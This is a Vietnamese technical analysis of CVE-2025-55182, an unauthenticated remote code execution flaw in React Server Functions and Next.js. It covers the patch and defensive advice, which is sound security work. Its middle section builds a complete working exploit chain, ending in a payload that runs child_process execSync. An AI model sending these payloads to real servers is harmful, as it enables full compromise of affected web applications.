Tổng Quan
CVE-2025-55182 là một lỗ hổng bảo mật cực kỳ nghiêm trọng cho phép thực thi mã từ xa (Remote Code Execution – RCE) trong React Server Functions, đặc biệt khi được triển khai qua framework Next.js. Lỗ hổng này xuất phát từ việc xử lý không an toàn các tham chiếu prototype trong quá trình deserialization dữ liệu.
Bối Cảnh Kỹ Thuật
React Server Functions
React cung cấp tính năng Server Functions – một cơ chế RPC-over-HTTP cho phép:
- Lấy dữ liệu từ các peer lân cận để đảm bảo độ trễ thấp
- Thực hiện các yêu cầu được xác thực mà client không có credentials
React Flight Protocol
React sử dụng React Flight Protocol để serialize các giá trị được truyền đến Server Functions. Cơ chế này hoạt động bằng cách:
Cấu trúc dữ liệu “chunks”:
Client gửi dữ liệu dưới dạng các “chunks” có thể tham chiếu lẫn nhau, ví dụ qua form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Payload trên sẽ được deserialize thành:
{ object: 'fruit', name: 'cherry' }
Đây là một ví dụ đơn giản nhưng đủ để hiểu cơ chế cốt lõi của giao thức.
Chi Tiết Lỗ Hổng
Nguyên Nhân Gốc Rễ
Trước khi có commit patch, khi duyệt qua các chunks trong quá trình phân giải tham chiếu (ví dụ: lấy fruitName từ chunk 2), React không xác minh xem key được yêu cầu có thực sự được thiết lập trên object hay không. Điều này cho phép kẻ tấn công truy cập vào object prototype.
Proof of Concept Cơ Bản
Payload đơn giản sau đây có thể lấy được function constructor:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Kết quả deserialize:
[Function: Function]
Khai Thác Thông Qua Thenable
Khi chunk ID 0 là một object thay vì array, có thể set key then thành function constructor. Object này sau đó được trả về bởi hàm decodeReplyFromBusboy và được await bởi Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Payload khai thác:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Kết quả là lỗi syntax:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Lỗi này xuất hiện vì V8 gọi hàm được await với các hàm internal resolve và reject, khi được toString sẽ serialize thành:
function () { [native code] }
Chuỗi Khai Thác Đầy Đủ
Bước 1: Tìm Call Gadget
Mục tiêu là tìm một gadget có thể:
- Gọi function constructor với giá trị do người dùng kiểm soát (code của function dưới dạng string)
- Sau đó gọi function được trả về
Bước 2: Kỹ Thuật “Fake Chunk” Của maple3142
Ý tưởng xuất sắc từ maple3142: khi getChunk lấy chunk tại ID 0 làm tham chiếu gốc để bắt đầu phân giải chuỗi tham chiếu, chính chunk này có thể phân giải thành một “fake chunk” được chế tạo.
Chunk được chế tạo có thể tham chiếu chính nó trong chunk 1 bằng cách sử dụng cú pháp $@:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Kết hợp với việc ghi đè then từ trước:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Ở đây, chunk 0 ghi đè .then() của chính nó bằng .then() của representation chunk raw của nó. Nói đơn giản: chúng ta ghi đè .then() của mình bằng Chunk.prototype.then:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Bước 3: Trigger InitializeModelChunk
Với payload có .status là resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Chúng ta vào được initializeModelChunk. Tại đây, .value được parse dưới dạng JSON, sau đó các tham chiếu được phân giải trên object được trả về:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Điều này cho chúng ta một lượt đánh giá thứ hai với nhiều giá trị hơn có thể truy cập do context bên ngoài đã được phân giải.
Bước 4: Khai Thác Call Gadget Qua Blob Deserialization
Có một call gadget trong việc xử lý blob data với prefix $B trong flight protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Sử dụng field đặc biệt _response, chúng ta kiểm soát thuộc tính response của crafted chunk:
// trong initializeModelChunk
value = reviveModel(chunk._response, // ...
Payload cuối cùng:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": "return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Field .reason cần được thêm vào để tránh lỗi khi gọi toString:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Bằng cách trỏ ._formData đến function constructor và ._prefix đến code của chúng ta, chúng ta có được invocation gadget:
response._formData.get(response._prefix + "0")
// trở thành
Function("return foo; // 0")
Bước 5: Payload RCE Hoàn Chỉnh
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": '{"then": "$B0"}',
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Điểm Đặc Biệt Nghiêm Trọng
Tất cả quá trình này xảy ra trong giai đoạn deserialization, trước khi action được yêu cầu được xác thực lần đầu trong getActionModIdOrError. Do đó, chỉ cần set header như Next-Action: foo là đủ để trigger lỗ hổng, không cần xác thực hoặc authorization nào.
Phân Tích Kỹ Thuật Sâu
Chuỗi Thực Thi
- Giai đoạn Deserialization: Client gửi crafted chunks qua form data
- Reference Resolution: React bắt đầu phân giải tham chiếu, truy cập prototype chain do thiếu validation
- Fake Chunk Creation: Chunk tự tham chiếu chính nó, tạo recursive resolution
- Prototype Pollution: Ghi đè
.then()method vớiChunk.prototype.then - Status Triggering: Set status
resolved_modelđể triggerinitializeModelChunk - Secondary Evaluation: Parse JSON và revive model với context đã được giải quyết
- Gadget Activation: Blob deserialization gadget được kích hoạt với
$Bprefix - Function Constructor Invocation:
_formData.get()gọi Function constructor - Code Execution: Function được tạo ra được await và thực thi
Các Điểm Yếu Được Khai Thác
- Thiếu Property Validation: Không kiểm tra
hasOwnPropertykhi truy cập object properties - Prototype Chain Access: Có thể truy cập
__proto__và các thuộc tính prototype khác - Thenable Behavior: Await tự động gọi
.then()method, tạo điều kiện cho call gadget - Self-Referencing Chunks: Cú pháp
$@cho phép chunk tham chiếu chính nó - Unchecked Deserialization: Quá trình diễn ra trước authentication/authorization
- Blob Gadget:
response._formData.get()tạo invocation pattern hoàn hảo
Patch và Giải Pháp
Commit Patch Chính Thức
Lỗ hổng được fix bằng cách thêm kiểm tra hasOwnProperty:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
Chi Tiết Cải Tiến
Trước patch:
- Truy cập trực tiếp vào properties mà không kiểm tra
- Cho phép truy cập prototype chain
- Mọi key đều được resolve, kể cả
__proto__,constructor
Sau patch:
- Kiểm tra
hasOwnPropertytrước khi truy cập - Chỉ trả về properties thuộc về chính object
- Trả về
undefinednếu property không tồn tại trên object - Ngăn chặn hoàn toàn prototype chain traversal
Các Biện Pháp Bảo Vệ Bổ Sung
Ngoài patch chính thức, các biện pháp nên áp dụng:
- Input Validation: Validate structure của chunks trước khi processing
- Whitelist Approach: Chỉ cho phép specific keys được access
- Sanitization: Remove hoặc escape các keys nguy hiểm như
__proto__,constructor,prototype - Rate Limiting: Giới hạn số lượng requests để giảm khả năng exploit
- Monitoring: Log và detect các patterns bất thường trong deserialization
- Defense in Depth: Implement multiple layers of validation
Tác Động và Mức Độ Nghiêm Trọng
Phạm Vi Ảnh Hưởng
Ứng dụng bị ảnh hưởng:
- Tất cả ứng dụng Next.js sử dụng Server Actions/Server Functions
- Các ứng dụng React sử dụng React Server Components (RSC)
- Bất kỳ framework nào implement React Flight Protocol không an toàn
Phiên bản bị ảnh hưởng:
- React versions trước patch CVE-2025-55182
- Next.js versions sử dụng React vulnerable versions
Mức Độ Nguy Hiểm
Critical Severity:
- CVSS Score: Rất cao (có thể 9.0+)
- Attack Complexity: Thấp – chỉ cần craft HTTP request
- Privileges Required: None – không cần authentication
- User Interaction: None – tự động trigger
- Impact: Complete system compromise
Kịch Bản Tấn Công Thực Tế
- Reconnaissance: Xác định target sử dụng Next.js/React Server Components
- Payload Crafting: Tạo malicious chunks theo format đã mô tả
- Initial Access: Gửi HTTP POST request với crafted form data
- Code Execution: RCE được trigger trong deserialization phase
- Post-Exploitation:
- Steal sensitive data
- Install backdoor
- Lateral movement
- Establish persistence
- Data exfiltration
Bài Học và Khuyến Nghị
Cho Developers
- Luôn validate input: Đặc biệt trong deserialization processes
- Sử dụng hasOwnProperty: Khi truy cập dynamic object properties
- Avoid prototype pollution: Careful với
__proto__,constructor,prototype - Security-first design: Security không phải là afterthought
- Regular updates: Luôn update dependencies với security patches
- Code review: Đặc biệt chú ý đến serialization/deserialization code
Cho Security Teams
- Vulnerability scanning: Regularly scan cho dependencies vulnerabilities
- Penetration testing: Test specifically cho prototype pollution và RCE
- Web Application Firewall: Deploy WAF rules để detect exploitation attempts
- Incident response plan: Prepare cho potential compromises
- Security awareness: Train developers về secure coding practices
Cho Organizations
- Patch immediately: Deploy security patches ngay khi available
- Assessment: Identify tất cả affected applications
- Monitoring: Implement logging và monitoring cho suspicious activities
- Backup và recovery: Ensure có backup và disaster recovery plans
- Communication: Transparent communication với stakeholders về risks
Kết Luận
CVE-2025-55182 là một lỗ hổng bảo mật cực kỳ nghiêm trọng cho thấy tầm quan trọng của việc validate input và kiểm soát prototype chain trong JavaScript. Việc có thể đạt được RCE mà không cần authentication, combined với độ phổ biến của Next.js và React, làm cho lỗ hổng này trở thành mối đe dọa nghiêm trọng với hàng triệu ứng dụng web.
Chuỗi khai thác phức tạp nhưng rất hiệu quả, từ prototype pollution đến fake chunk creation, secondary evaluation, và cuối cùng là function constructor invocation, cho thấy tầm hiểu biết sâu sắc của security researchers về internal workings của React và JavaScript runtime.
Patch đã được release và mọi organization sử dụng affected technologies nên update ngay lập tức. Đây cũng là một case study quý giá về importance của secure deserialization practices và defense-in-depth strategies trong modern web development.
Source link: CVE-2025-55182 GitHub Repository






